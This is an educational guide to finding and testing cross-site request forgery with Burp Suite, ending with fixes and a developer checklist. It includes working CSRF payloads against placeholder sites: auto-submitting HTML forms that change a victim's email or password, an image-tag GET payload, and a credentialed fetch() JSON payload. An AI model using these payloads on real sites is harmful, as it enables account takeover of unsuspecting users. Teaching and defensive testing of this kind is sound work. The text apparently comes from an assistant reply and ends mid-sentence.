10. CROSS SITE REQUEST FORGERY (CSRF)

Module: Cross-Site Request Forgery (CSRF) — Complete Practical Guide (Burp Suite Edition)

1. What is CSRF? (In Simple + Technical Terms)

Simple Explanation

CSRF is like tricking a user into clicking a hidden button on a website they are logged into.

Example:

You're logged into your bank.

Someone sends you a hidden link:

`https://bank.com/transfer?to=attacker&amount=50000`

If you click it, your browser automatically sends your banking cookies → money transfers.

You didn't "hack" anything.

The site trusted **your browser**, not **you**.

Technical Explanation

CSRF exploits **implicit user authentication**, where the browser automatically sends:

- Cookies
- Session tokens
- JWT stored in cookies

- HTTP auth
- OAuth tokens (rare)

The attacker forces the victim's browser to send a **state-changing request**, such as:

- Change password
- Transfer funds
- Delete account
- Modify user role
- Update email

---

2. What Makes a Website Vulnerable?

A web app is vulnerable to CSRF if:

✔️ Sensitive actions are protected only by cookies

✔️ No CSRF token is used OR token is predictable

✔️ Token exists but **not validated** on the server

✔️ Token is reused on multiple requests

✔️ Cookie is **not SameSite=Strict**

✔️ There is no re-authentication required

---

3. How to Identify CSRF Vulnerabilities Using Burp Suite

Step 1 – Capture the Request

1. Enable **Intercept ON**
2. Perform the action on the application (change email/password)
3. Burp captures the request

Example request:

```
POST /change-email HTTP/1.1
Host: app.com
Cookie: session=abc123
Content-Type: application/x-www-form-urlencoded

email=new@mail.com
```

Look for:

- No CSRF token
- No custom anti-CSRF header (ex: X-CSRF-Token)
- No SameSite cookie flag

---

4. Burp Suite CSRF POC Generator (Important)

Step 1: Right-Click the Request → Engagement Tools → Generate CSRF PoC

Burp creates an HTML file:

```html
<html>
<body>
<form action="https://app.com/change-email" method="POST">
  <input type="hidden" name="email" value="attacker@mail.com">
</form>
<script>document.forms[0].submit();</script>
</body>
</html>
```

Step 2: Save the HTML file

Name it:

`csrf_poc.html`

Step 3: Open in Browser

When victim opens it, the browser automatically submits the form.

---

5. Understanding the Burp PoC HTML

`form action=`

Target endpoint:

```
https://app.com/change-email
```

`method="POST"`

Same method as original request.

Hidden fields replicate original parameters.

Script auto-submits the form

```
document.forms[0].submit();
```

This forces the victim's browser to perform the action instantly.

---

6. Manual Exploitation (Professional Level)

Case 1: GET-based CSRF

If request is like:

```
GET /update?email=attacker@mail.com
```

The payload is:

```
<img src="https://app.com/update?email=attacker@mail.com">
```

No click needed — loads automatically.

Case 2: POST-based CSRF (Most Common)

You create your own HTML form:

```
<form action="https://app.com/change-password" method="POST">
  <input type="hidden" name="password" value="Hacked123">
  <input type="hidden" name="confirm" value="Hacked123">
</form>
<script>document.forms[0].submit();</script>
```

Case 3: JSON-Body CSRF

Modern apps use JSON.

Original request:

```
POST /update
Content-Type: application/json

{"email":"new@mail.com"}
```

You cannot use basic HTML forms.

But if server accepts any Content-Type → vulnerable.

Use fetch():

```
<script>
fetch("https://app.com/update", {
  method: "POST",
  credentials: "include",
  body: JSON.stringify({email: "attacker@mail.com"}),
  headers: {"Content-Type": "application/json"}
});
</script>
```

7. SameSite Cookie Bypass (Important for Students)

Cookie Without SameSite

```
Set-Cookie: session=abc123; Path=/; Secure
```

Attackers can perform CSRF.

SameSite=Lax

Blocks most CSRF except GET forms.

SameSite=Strict

Fully prevents CSRF.

8. How to Identify Missing SameSite in Burp

Check response headers in **HTTP history**:

```
Set-Cookie: session=abc123; Secure; HttpOnly;
```

If **SameSite is missing → risky**.

9. Testing CSRF Protection Weaknesses Using Burp

Test 1: Remove the CSRF token

In Burp → Repeater:

Delete:

```
csrf_token=XYZ123
```

If request still succeeds → Vulnerable.

Test 2: Replace Token with Random Value

Change:

```
csrf_token=XYZ123
```

to

```
csrf_token=abc
```

If request succeeds → Token not validated.

Test 3: Replay Token

Send same token multiple times.

If works → Token not single-use → Weakness.

Test 4: Token in Cookie (Bad Practice)

CSRF token must NOT be stored in cookies.

If app sends:

```
Set-Cookie: csrf=XYZ
```

→ It is automatically included → Useless.

---

10. Tools for CSRF Testing

1. Burp Suite (main)

- CSRF PoC generator
- Repeater for token tampering
- Proxy for capturing requests
- Intruder for brute-testing CSRF tokens

2. OWASP ZAP

- Anti-CSRF token scanner
- Built-in PoC generator

3. CSRF-Tester (OWASP tool)

Old but useful for training.

---

11. Real-Life Example (Student Friendly)

Scenario: Changing Email

Original Request:

```
POST /profile/update HTTP/1.1
Cookie: session=abc

email=victim@mail.com
```

Burp PoC:

```
<form action="https://site.com/profile/update" method="POST">
  <input type="hidden" name="email" value="attacker@mail.com">
</form>
<script>document.forms[0].submit();</script>
```

When victim opens the link → email changed.

12. How to Explain CSRF to Students (Teaching Script)

> “Imagine your browser is your obedient servant.
>
> If you’re logged into a website, your servant carries your ID card everywhere.
>
> CSRF is when an attacker tricks your servant into doing something harmful on your behalf—without your permission.”

13. How Websites Fix CSRF

✔ CSRF Tokens

✔ SameSite cookies

✔ Re-authentication (enter password before changes)

✔ Double-submit cookies

✔ CAPTCHA

✔ Require custom header (X-Requested-With)

14. Developer Checklist (Professional)

- Token must be **per session, per request**
- Token must be **unpredictable**
- Token must be validated on server
- Token must NOT be in cookie
- Session cookies must use **SameSite=Strict**
- Use same-origin policy properly

15. Short Notes (For Quick Revision)

- CSRF = Makes browser perform action silently

- Exploits automatic cookie sending
- Burp → Generate CSRF PoC
- Test: remove/replace/replay token
- Fix: Token + SameSite=Strict

If you want, I can now generate: